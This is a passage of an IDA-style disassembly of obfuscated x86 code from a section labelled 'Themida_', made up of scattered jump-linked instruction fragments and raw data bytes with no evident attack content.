; ---------------------------------------------------------------------------


loc_518A82:				; CODE XREF: Themida_:00511E0Aj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_519E19
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 0D4E9815Ah, 1198862h, 0E5B850D1h,	5074653h, 2AA77307h
		dd 0C106E0C1h, 67E905E8h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_518AB3:				; CODE XREF: Themida_:00523241j
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_51291A
; ---------------------------------------------------------------------------


loc_518AC1:				; CODE XREF: Themida_:005234C0j
		pop	eax
		xor	eax, 3A1D5BF4h
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 748525B1h
		jmp	loc_51D86F
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2DA82955h, 646E5EBBh, 0F68FE995h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_518AEA:				; CODE XREF: Themida_:0050E207j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_5156C9
; ---------------------------------------------------------------------------
aUsgq		db ')食',0
		dd 3E946800h, 34890000h, 815E5424h, 4C6h, 4EE8100h, 87000000h
		dd 895C2434h, 0BF57242Ch, 19C14B94h, 815FFD89h,	1EDh, 8950E900h
		dd 34FFFFFFh, 0AE42E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_518B3E:				; CODE XREF: Themida_:0051B59Fj
		mov	ebp, 51C2089h
		sub	ebp, 497B3517h
		dec	ebp
		xor	ebp, 0F217BF34h
		sub	edx, ebp
		pop	ebp
		jmp	loc_5209A2
; ---------------------------------------------------------------------------


loc_518B58:				; CODE XREF: Themida_:00519786j
		mov	eax, 49AE4238h
		dec	eax
		sub	eax, 49AE4233h
		sub	ebx, 30133EC2h
		add	ebx, eax
		add	ebx, 30133EC2h
		jmp	loc_51B3EC
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 47F8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_518B7E:				; CODE XREF: Themida_:00515213j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ecx, 0FFFFFFFFh
		push	42EEh
		jmp	loc_51F415
; ---------------------------------------------------------------------------
		dd 4C481h, 0C2810000h, 676B0EF7h, 0FFFFC281h, 0C281FFFFh
		dd 140F7260h, 1C281h, 0EC810000h, 4, 0BB241C89h, 0DD89B321h
		dd 1C8BDA31h, 4C48124h,	5000000h, 0DD50B14h, 142DD001h
		dd 0FF0DD50Bh, 815A2434h, 4C4h,	0B8505700h, 2, 34FFC789h
		dd 0C4835824h, 8BF80104h, 0C483243Ch, 24048704h, 6624248Bh
		dd 8953F1F7h, 757FE9E3h, 295E0000h, 242C8BEAh, 0E904C483h
		dd 0AF2Dh, 9150E9ACh, 0F7660000h, 0C3166D1h, 0C336624h
		dd 0C316624h, 665F6624h, 74FF6657h, 5F660224h, 24048F66h
		dd 0FF55AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_518C41:				; CODE XREF: Themida_:0051F81Aj
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_51994E
; ---------------------------------------------------------------------------
		dd 6BBB535Dh, 290A1D2Eh, 0E8685BDAh, 0E900000Bh, 0FFFF9CF8h
		dd 5843ED81h, 0F58116B5h, 0EA86A025h, 242C8155h, 7D84528Bh
		dd 8BC7815Fh, 8B7D8452h, 0C481242Ch, 4,	0C781DFF7h, 538702F1h
		dd 3185E950h, 81580000h, 4ECh, 243C8900h, 35B8BE56h, 0BA526AF6h
		dd 1F430482h, 68D8E9h, 24148B00h, 3304C483h, 0C31240Ch
		dd 240C3324h, 6624248Bh, 0E924048Bh, 7563h, 0CC88F988h
		dd 0E9E58859h, 0FFFF89A8h, 55BDE31h, 0C146DB8h,	6E0AE957h
		dd 0E959FFFFh, 0FFFFE588h, 50962DADh, 0D8016FC4h, 4EC8355h
		dd 0E9240489h, 9B1Fh, 0E924248Bh, 0FFFF54E8h, 5C243487h
		dd 68240489h, 2525h, 0E9240C89h, 0FFFF8E71h
; ---------------------------------------------------------------------------


loc_518D1C:				; CODE XREF: Themida_:00514FEFj
		pop	ebx
		jmp	loc_517EBE
; ---------------------------------------------------------------------------


loc_518D22:				; CODE XREF: Themida_:0051AC88j
		xor	ebp, 0A9263944h
		jmp	loc_516654
; ---------------------------------------------------------------------------
		db 0BBh, 3Ah, 17h
		dd 0FA68C2D9h, 8900001Ah, 4DE92414h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_518D3F:				; CODE XREF: Themida_:0051F5A6j
		push	esi
		mov	esi, 50F1ECFh
		jmp	loc_512AE0
; ---------------------------------------------------------------------------
aIcs		db '\',0
		dd 0F4EF8100h, 8984702Dh, 0D8315FFBh, 83241C8Bh, 0E95604C4h
		dd 0FFFFC4C6h, 3124248Bh, 0E99C2404h, 0FFFF547Ch, 0A7E9F731h
		dd 53FFFFFCh, 6EA1E9h, 243C8900h, 0A27AE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_518D8A:				; CODE XREF: Themida_:00518E26j
		add	dword ptr [eax], 1
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_521F4E
; ---------------------------------------------------------------------------
a1iBixdSm6	db '1]X>6',0
		align 4
		dd 0E905E7C1h, 981Ch, 5F2404FFh, 2C33B951h, 0E1C137F7h
		dd 0C1E94904h, 5DFFFF5Dh, 0FF6279E9h, 48B66FFh,	58666824h
		dd 1C890000h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
		dd 0E612E95Ch, 6B04FFFFh, 0EBE9412Ch, 0E9000040h, 0FFFF53E8h
		dd 0E95EF101h, 0FFFF6142h
; ---------------------------------------------------------------------------


loc_518E10:				; CODE XREF: Themida_:00516A82j
		add	eax, 2B82471h
		or	eax, 449963ACh
		or	eax, 416925BCh
		sub	eax, 7FFFFFFFh
		add	eax, ebx
		jmp	loc_518D8A
; ---------------------------------------------------------------------------
		db 83h
		dd 0B8E901EDh, 81000035h, 0FFFFFFC6h, 67E953FFh, 81FFFF85h
		dd 42404h, 815A0000h, 4ECh, 241C8900h, 4BBh, 0B5BF5700h
		dd 156CA58h, 0C2815FFAh, 51904959h, 0EA81DA01h,	51904959h
		dd 58B5EA81h, 1C8B56CAh, 0B9D9E924h, 0C681FFFFh, 1E083A4Dh
		dd 0E924148Bh, 613Bh, 5550E389h, 2A2276BDh, 6691B841h
		dd 28E9403Bh
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_518E9B:				; CODE XREF: Themida_:0051AAA7j
		xor	ecx, 5B294032h
		sub	edi, ecx
		pop	ecx
		jmp	loc_51B574
; ---------------------------------------------------------------------------
		db 0BFh, 43h, 2Bh
		dd 0C7836DA7h, 0F8E0E9FFh, 0F968FFFFh, 8900007Ah, 3FE9243Ch
		dd 81FFFF5Fh, 722A0AC6h, 0B850523Dh, 757E4921h,	2958C289h
		dd 0A82EE9D6h, 8950FFFFh, 793FE9E0h, 0C1830000h, 31D93101h
		dd 53D931CBh, 5B2414F7h, 0CB31D931h, 0E9C1D931h, 0A0BFE902h
		dd 8B5F0000h, 0C481241Ch, 4, 8A76E9h
		db 0
; ---------------------------------------------------------------------------


loc_518F0D:				; CODE XREF: Themida_:0051E7D6j
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_50FA1E
; ---------------------------------------------------------------------------
		dw 0C301h
		dd 8124048Bh, 4C4h, 4EB8300h, 0FFC500E9h, 4BAFFh, 0D7290000h
		dd 0FFED22E9h, 0E9CF01FFh, 0ABECh, 0E903E6C1h, 0FFFFEE2Fh
		dd 38350EB9h, 0C9814164h, 4B50516Dh, 0FFA4C4E9h, 0A7E951FFh
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_518F67:				; CODE XREF: Themida_:00516DB1j
		add	edi, edx
		add	edi, 44957258h
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5101AC
; ---------------------------------------------------------------------------
		db 1, 6Ch, 24h
		dd 815A5D04h, 4C2h, 4C28300h, 5C241487h, 8B24048Fh, 0E9F72424h
		dd 147A68h, 24148900h, 45E99C50h, 81FFFF52h, 0C8680AEEh
		dd 34335B6Fh, 24343124h, 0E9243433h, 0FFFFC81Bh, 4EC81h
		dd 0FDE90000h, 0FF00000Fh, 34FF2434h, 0E9565824h, 787Eh
		dd 0AFE9F901h, 81000015h, 846DCBC3h, 4CD26871h,	3C890000h
		dd 76E5BF24h, 0F7816190h, 4D5B15F8h, 0FF984FE9h, 81CA01FFh
		dd 0F564F2EAh, 2434FF54h, 4C48359h, 8B241487h, 0AEE92424h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_519017:				; CODE XREF: Themida_:00520D40j
		mov	bl, 0F5h
		mov	dh, 9Eh
		jmp	loc_520861
; ---------------------------------------------------------------------------
		dd 4EC815Ah, 89000000h,	0E0892404h, 405h, 4C08300h, 0FF8958E9h
		dd 81F701FFh, 1442F2C7h, 1BBA5255h, 507FBD60h, 7C1662B8h
		dd 0E9C2315Ah, 0FFFFF308h, 7D6CBB53h, 0D3F75F18h, 23C4C381h
		dd 0D8292BF6h, 0E92434FFh, 0FFFF6330h, 0FFF03059h, 685A2434h
		dd 6D2Dh, 89243489h, 8E31E9E6h,	815A0000h, 0EF2F6BEAh
		dd 0E9815948h, 5DD23530h, 0C181D101h, 5DD23530h, 4E9835Ah
		dd 8904EC83h, 93E9240Ch, 0BB000064h, 414B5936h,	6D26E6B9h
		dd 5BD93176h, 0FBE9CB01h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5190BB:				; CODE XREF: Themida_:0051FDEAj
		push	2464h
		mov	[esp], esi
		mov	esi, 3EEB0C8Ch
		shl	esi, 4
		jmp	loc_50E721
; ---------------------------------------------------------------------------
		dd 5E05F001h, 5E33C50Bh, 890DD8F7h, 5666CD68h, 34266DBEh
		dd 23EE8165h, 564AA354h, 5E2414F7h, 51D0E9h, 0B8C68100h
		dd 0E96B4923h, 0FFFFBC90h
; ---------------------------------------------------------------------------


loc_519100:				; CODE XREF: Themida_:00512D60j
		xor	cl, 5Eh
		jmp	loc_512624
; ---------------------------------------------------------------------------
		dd 0E551DEBEh, 0F7E9516Ch
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_519113:				; CODE XREF: Themida_:00516991j
		sub	ecx, 3C566D20h
		mov	ebx, ecx
		pop	ecx
		and	eax, ebx
		jmp	loc_511528
; ---------------------------------------------------------------------------
		db 81h
		dd 87835C5h, 5DE989FFh,	3C18141h, 1A5A8CDh, 80E959C8h
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_51913B:				; CODE XREF: Themida_:00513732j
		mov	eax, edi
		jmp	loc_51A3D1
; ---------------------------------------------------------------------------


loc_519142:				; CODE XREF: Themida_:0052081Cj
		pop	esi
		sub	eax, 0FFFFFFFFh
		sub	eax, 0FFFFFFFFh
		jmp	loc_51E447
; ---------------------------------------------------------------------------


loc_519150:				; CODE XREF: Themida_:0051A714j
		pop	ebx
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	esp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	ebp
		mov	ebp, 4
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5201E6
; ---------------------------------------------------------------------------
		db 56h
		dd 9766F7BEh, 0E9EF8131h, 144544Bh, 0E9C781F7h,	8B44544Bh
		dd 89532434h, 4C381E3h,	83000000h, 1C8704C3h, 0C7015C24h
		dd 66F7EF81h, 81583197h, 4C7h, 243C8700h, 8324248Bh, 55E904C4h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5191C7:				; CODE XREF: Themida_:0051D38Ej
		inc	ecx
		add	ecx, 76D95FF4h
		shl	ecx, 2
		xor	ecx, 9279DDC0h
		sub	ebp, ecx
		pop	ecx
		add	ebp, edi
		add	ebp, 2882721Ch
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5189D2
; ---------------------------------------------------------------------------
		db 68h,	0D9h, 21h
		dd 2C890000h, 388BBD24h, 0EC8301ABh, 242C8904h,	0FFD721E9h
		dd 536168FFh, 3C890000h, 17BA5224h, 424AFA77h, 0C101EA83h
		dd 814205EAh, 56C0F6F2h, 977EBF22h, 0D701EAA9h,	12EE815Ah
		dd 0E9152806h, 0FFFFA7FEh, 5C240487h, 0FFAD94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_519241:				; CODE XREF: Themida_:00519261j
		add	edx, 4
		jmp	loc_513BF2
; ---------------------------------------------------------------------------
		dd 45247C05h, 0F132D48h, 4E054275h, 0E9659F6Ch,	20CCh
; ---------------------------------------------------------------------------


loc_519260:				; CODE XREF: Themida_:00517910j
		pop	edi
		jmp	loc_519241
; ---------------------------------------------------------------------------
aYse5		db 'Ye5',0
		align 4
		dd 4F7EE95Ch, 0F486FFFFh, 0F486DEF6h, 0B551D4F6h, 59EC00A8h
		dd 0E971C380h, 0Fh, 24048B66h, 4EC81h, 0D1E90000h, 28FFFFB4h
		dd 71EB80E3h, 9989E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5192A2:				; CODE XREF: Themida_:0051F471j
		add	ecx, esi
		add	ecx, 65307A97h
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------


loc_5192BF:				; CODE XREF: Themida_:00513548j
		push	2A1Ah
		mov	[esp], ecx
		jmp	loc_516525
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F59h,	5024248Bh, 0E952E089h, 1B0Ch
; ---------------------------------------------------------------------------


loc_5192E0:				; CODE XREF: Themida_:0051CEBCj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_516871
; ---------------------------------------------------------------------------


loc_5192F6:				; CODE XREF: Themida_:00521935j
		sub	esp, 4
		jmp	loc_520A0B
; ---------------------------------------------------------------------------
		dw 34FFh
aSmr		db '$R',0
		align 2
		dw 0D501h
		dd 0AFB7E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51930E:				; CODE XREF: Themida_:00521E12j
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		push	eax
		push	3C053268h
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 47BB33B6h
		mov	esi, eax
		pop	eax
		push	esi
		pop	ebx
		pop	esi
		shr	ebx, 4
		not	ebx
		push	edx
		mov	edx, 192383Dh
		add	ebx, edx
		jmp	loc_517811
; ---------------------------------------------------------------------------
aBaQ		db '/q',0
		db 59h
		dd 5C242C87h, 0FF63CDE9h, 2DD001FFh, 2E406F7Fh,	4EC81h
		dd 0C890000h, 2E57B924h, 36E92C30h, 31FFFF7Eh, 0C33240Ch
		dd 79E95C24h, 8BFFFF4Eh, 34FF2424h, 240C8B24h, 29CE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_519386:				; CODE XREF: Themida_:005113F8j
		push	ecx
		jmp	loc_51A37B
; ---------------------------------------------------------------------------
		dd 11E9E821h, 8100009Ah, 6EBCFEC5h, 5DEB29B6h, 0DDC2815Dh
		dd 15FDA2Eh, 0DDEA81DAh, 5B5FDA2Eh, 0E958E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5193B2:				; CODE XREF: Themida_:0050F047j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	690Ch
		mov	[esp], ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		push	67DEh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		sub	dword ptr [esp+4], 57ED54D3h
		add	[esp+4], eax
		jmp	loc_522299
; ---------------------------------------------------------------------------
aQs_1		db 'Q\*',0
		align 4


loc_519418:				; CODE XREF: Themida_:005146F9j
		pop	edi
		jmp	loc_522C0A
; ---------------------------------------------------------------------------


loc_51941E:				; CODE XREF: Themida_:0051DD15j
		pop	esi
		add	edx, ebx
		add	edx, 478956FCh
		pop	ebx
		jmp	loc_52342A
; ---------------------------------------------------------------------------
		db 68h,	0A4h, 33h
		dd 3C890000h, 81E78924h, 4C7h, 4BE5600h, 29000000h, 24348BF7h
		dd 4C481h, 3C870000h, 404AE924h, 0E8830000h, 24048702h
		dd 6624248Bh, 0E9240489h, 0FFFFEBA2h
; ---------------------------------------------------------------------------


loc_519468:				; CODE XREF: Themida_:00514F77j
		mov	ecx, 2D2E20EEh
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5166C2
; ---------------------------------------------------------------------------


loc_519475:				; CODE XREF: Themida_:00510166j
		xor	ebp, 0DF7FDB5Bh
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_516C2B
; ---------------------------------------------------------------------------


loc_519485:				; CODE XREF: Themida_:005135F8j
		xchg	ecx, [esp]
		push	ecx
		xchg	eax, [esp]
		not	eax
		jmp	loc_51F00D
; ---------------------------------------------------------------------------
aS6		db ']]6',0
		db 0
; ---------------------------------------------------------------------------


loc_519499:				; CODE XREF: Themida_:005171DEj
		push	dword ptr [esp]
		jmp	loc_5107B5
; ---------------------------------------------------------------------------


loc_5194A1:				; CODE XREF: Themida_:005209A8j
		sub	edx, 666952CDh
		add	edx, ecx
		add	edx, 666952CDh
		add	edx, 138A06F5h
		jmp	loc_512FDD
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0BB535124h, 767004F2h, 4ABAC381h, 0BF571CDAh, 8D102451h
		dd 895FFB29h, 241C8BD9h, 0BA04C483h, 63A2B5Dh, 0AFBD5551h
		dd 0E9568F03h, 0FFFFF88Fh
; ---------------------------------------------------------------------------


loc_5194EC:				; CODE XREF: Themida_:0050F65Dj
		sub	ebp, 7FE760D3h
		xor	ebp, 8C70948Dh
		add	edi, ebp
		pop	ebp
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_51171B
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 46A44321h, 0FF8749E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_519515:				; CODE XREF: Themida_:0050EE6Bj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_515B76
; ---------------------------------------------------------------------------
		dd 8904EC83h, 11BB241Ch, 813EE848h, 6879FAC3h, 661FE903h
		dd 0C481FFFFh, 4, 0FFFFBA52h, 0D629FFFFh, 4E68E9h, 0C5814500h
		dd 0CC4D5AB5h, 4DBE5655h, 891EBC7Dh, 0D5F75EF5h, 2414F755h
		dd 0A5F5815Dh, 0E9224328h, 0FFFF8F0Eh
; ---------------------------------------------------------------------------


loc_51956C:				; CODE XREF: Themida_:00516F56j
		add	edx, 6C505B2h
		mov	ecx, edx
		pop	edx
		push	edx
		mov	edx, 2FD73208h
		jmp	loc_5215F4
; ---------------------------------------------------------------------------
		dd 5004C483h, 2BCDE9h, 24148B00h, 52E18951h, 0FFF4FAE9h
		dd 48B66FFh, 0E0B6824h,	0C890000h, 57E18924h, 4BFh, 0F2E98100h
		dd 105C331h, 0F2C181F9h, 0FF05C331h, 0A0E92434h, 5BFFFF51h
		dd 0FF7CB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5195C5:				; CODE XREF: Themida_:00519E1Cj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_51F5EA
; ---------------------------------------------------------------------------


loc_5195CE:				; CODE XREF: Themida_:00523954j
		shl	ebp, 2
		add	ebp, 81A13DAh
		jmp	loc_523AAA
; ---------------------------------------------------------------------------
		dd 54241C89h, 2668515Bh, 0E9000009h, 1D0Bh
; ---------------------------------------------------------------------------


loc_5195EC:				; CODE XREF: Themida_:00516B15j
		mov	ecx, edi
		pop	edi
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	73h
		mov	[esp], edx
		push	eax
		mov	eax, 77893E54h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7ECC72A8h
		sub	eax, 3A134944h
		sub	eax, ecx
		push	ebp
		mov	ebp, 3A134944h
		jmp	loc_515594
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 4EC81h, 14890000h
		dd 81E28924h, 4C2h, 0E6895600h,	4EC81h,	24E90000h, 29FFFF67h
		dd 66EB81EBh, 55382A0Fh, 0FA4BF7BDh, 5E5C15Dh, 5851E9h
		dd 246C8100h, 0C46AE204h, 244C0127h, 24448104h,	0C46AE204h
		dd 240C8B27h, 13F8E9h, 0E1814100h, 27BC3729h, 21DE981h
		dd 0CE292018h, 24348759h, 2414895Ch, 6310EEBAh,	8BD5297Dh
		dd 0CAE92414h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5196AB:				; CODE XREF: Themida_:005212DEj
		push	2B44h
		mov	[esp], ebx
		mov	ebx, 6762124Fh
		jmp	loc_514FE8
; ---------------------------------------------------------------------------


loc_5196BD:				; CODE XREF: Themida_:00516668j
		or	ecx, 35171228h
		sub	ecx, 240A3BEEh
		sub	esp, 4
		jmp	loc_51BF88
; ---------------------------------------------------------------------------
aXsH		db 'X[H',0
		db 0
; ---------------------------------------------------------------------------


loc_5196D7:				; CODE XREF: Themida_:00521F94j
		add	dword ptr [esp], 72327ABDh
		pop	dword ptr [edi+20h]
		push	3F79h
		mov	[esp], esi
		jmp	loc_517A0B
; ---------------------------------------------------------------------------
		dw 2D58h
		dd 5398475Bh, 242C8B59h, 72FDE9h, 53E58900h, 65F3E951h
		dd 37BEFFFFh, 6872D60Eh, 1F83h,	0B9240C89h, 0
		dd 398DE9h
		db 0
; ---------------------------------------------------------------------------


loc_51971D:				; CODE XREF: Themida_:00517DD5j
		neg	edi
		sub	edi, 0A0AAA93Bh
		add	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, 32A30617h
		jmp	loc_518638
; ---------------------------------------------------------------------------
aYsmf		db 'Y錔',0
		dd 0F5E95800h, 8900006Fh, 0BD552404h, 57362782h, 7A76E9h
		db 0
; ---------------------------------------------------------------------------


loc_51974D:				; CODE XREF: Themida_:00513BEDj
		sub	edi, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_50EC30
; ---------------------------------------------------------------------------


loc_519766:				; CODE XREF: Themida_:0051B373j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_5153DD
; ---------------------------------------------------------------------------


loc_519775:				; CODE XREF: Themida_:00510211j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		jmp	loc_518B58
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D6F703EEh, 0F704E6C1h, 34C681DEh, 81735182h, 927C23E9h
		dd 81F10115h, 927C23C1h, 24348B15h, 4C481h, 0EC830000h
		dd 243C8904h, 795ABA52h, 0D2F70F1Dh, 0BB53D2F7h, 5BED08CBh
		dd 555BDA21h, 0F61E57BDh, 3EDC117h, 0ED81DDF7h,	82E03498h
		dd 0F75DEA01h, 1AF281DAh, 897AD1F0h, 0F9015AD7h, 81243C8Bh
		dd 4C4h, 74FF5100h, 0C8B0424h, 748BE924h, 15B0000h, 492D5FF8h
		dd 56BEE1Fh, 69EC2258h,	582DF029h, 5269EC22h, 0EE1F49BAh
		dd 5AD0016Bh, 8601E9h, 5D0F700h, 700B18BDh, 0E3828735h
		dd 0E826E94Dh, 3C33FFFFh, 243C3124h, 5C243C33h,	0C32C58h
		dd 5AC304D0h, 0E958C230h, 0FFFFBA91h
; ---------------------------------------------------------------------------


loc_519850:				; CODE XREF: Themida_:005210F0j
		xchg	eax, [esp]
		pop	esp
		push	edi
		mov	edi, 4EBF7BC4h
		jmp	loc_51A26D
; ---------------------------------------------------------------------------


loc_51985F:				; CODE XREF: Themida_:00523A98j
		push	71FA41F1h
		jmp	loc_511E5A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF96F0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_519871:				; CODE XREF: Themida_:0051B826j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		not	esi
		or	esi, 2EDE2EE2h
		xor	esi, 0AFFEAEF6h
		jmp	loc_51829E
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 8F8E9h, 24248900h, 4240481h,	5F000000h, 22F5E9h, 9CC88500h
		dd 0FF493BE9h, 73E958FFh, 81FFFFB8h, 4C6h, 24348700h, 0C329665Ch
		dd 0B9665166h, 29665ECCh, 0C8B66CBh, 2C48324h, 6358E952h
		dd 0C8BFFFFh, 4C48324h,	0BB535152h, 425B3041h, 4AE9D989h
		dd 8FFFFF56h, 4832404h,	555A0424h, 753E14BDh, 83E5D16Eh
		dd 0E7E9FFC5h, 0E9FFFFB1h, 0FFFF48E0h
; ---------------------------------------------------------------------------


loc_519910:				; CODE XREF: Themida_:00514CA2j
		push	eax
		push	esp
		pop	eax
		jmp	loc_51737C
; ---------------------------------------------------------------------------
		dd 4B43D3F7h, 32F3814Bh, 0E9CA82CCh, 0FFFF9610h
; ---------------------------------------------------------------------------


loc_519928:				; CODE XREF: Themida_:00512475j
		sub	eax, 205560DFh
		sub	eax, edi
		jmp	loc_51A7F9
; ---------------------------------------------------------------------------
		dd 40558h, 0F7E90000h, 8BFFFF6Fh, 2C812424h, 5968D024h
		dd 0D55AE979h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51994E:				; CODE XREF: Themida_:0051644Cj
					; Themida_:00518C4Bj ...
		push	dword ptr [edi+24h]
		jmp	loc_510F4F
; ---------------------------------------------------------------------------
		dw 1C33h
aSM		db '$Ό',0
		align 2
aI4S		db '4$[',0
		align 2
		dw 0EC83h
		dd 24048904h, 0BD55E089h, 4, 2C8BE801h,	4C48124h, 83000000h
		dd 2C8904ECh, 69BB5324h, 0C15BDA55h, 814B04EBh,	8E136CCBh
		dd 7AC38143h, 81466A45h, 10880CBh, 0BC3814Fh, 5130D603h
		dd 0CD89D989h, 0E9555B59h, 29EAh, 0EB81C329h, 4E0A489Ah
		dd 0FFC882E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5199C1:				; CODE XREF: Themida_:00512BFBj
		add	ebx, ebp
		pop	ebp
		push	ebx
		xor	dword ptr [esp], 3FC236F8h
		pop	esi
		push	ecx
		mov	ecx, 7B4241BFh
		jmp	loc_517EA7
; ---------------------------------------------------------------------------
		dd 242C8B66h, 7AF368h, 243C8900h, 0C781E789h, 4, 0FFB6BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5199F1:				; CODE XREF: Themida_:0051E3DEj
		pop	esi
		add	esp, 4
		jmp	loc_51BDE9
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 0E17AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519A02:				; CODE XREF: Themida_:00522ACCj
		pop	ebp
		not	ebx
		add	ebx, 29D7387Fh
		add	ebx, 0B9755ECBh
		xor	ecx, ebx
		jmp	loc_51D556
; ---------------------------------------------------------------------------


loc_519A18:				; CODE XREF: Themida_:0052124Bj
		mov	[esp], esi
		mov	esi, 2C2778DDh
		mov	ecx, esi
		pop	esi
		push	7208h
		jmp	loc_510B82
; ---------------------------------------------------------------------------
		db 0B6h, 0B4h, 0E9h
		dd 0FFFF9159h, 4C381h, 8BE90000h, 89FFFF5Ah, 0E0892404h
		dd 405h, 7F75E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_519A4E:				; CODE XREF: Themida_:0050FF2Ej
		add	[esp+4], ecx
		add	dword ptr [esp+4], 2725724Bh
		jmp	loc_512FE8
; ---------------------------------------------------------------------------
		db 5
		dd 3CF31082h, 16C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_519A69:				; CODE XREF: Themida_:0051DED3j
		mov	esi, edi
		mov	edi, [esp]
		jmp	loc_5136AB
; ---------------------------------------------------------------------------


loc_519A73:				; CODE XREF: Themida_:0052344Fj
		not	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, 6E5611F9h
		neg	edx
		push	ebx
		mov	ebx, 3CD10054h
		jmp	loc_50FB24
; ---------------------------------------------------------------------------


loc_519A8A:				; CODE XREF: Themida_:00522159j
		push	esi
		jmp	loc_5186FB
; ---------------------------------------------------------------------------
		dd 0DA04F828h, 53D8005Bh, 0E99BB551h, 0FFFFD1C4h, 0EE95666h
		dd 8100000Eh, 397069E2h, 5C2812Ch, 21410439h, 7513E9D7h
		dd 3487FFFFh, 0F23EE924h, 5457FFFFh, 8131E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_519ACA:				; CODE XREF: Themida_:0051D871j
		sub	eax, 748525B1h
		push	ecx
		mov	ecx, 0
		jmp	loc_515323
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 61682404h, 0E900006Eh, 3E73h, 4702E95Bh
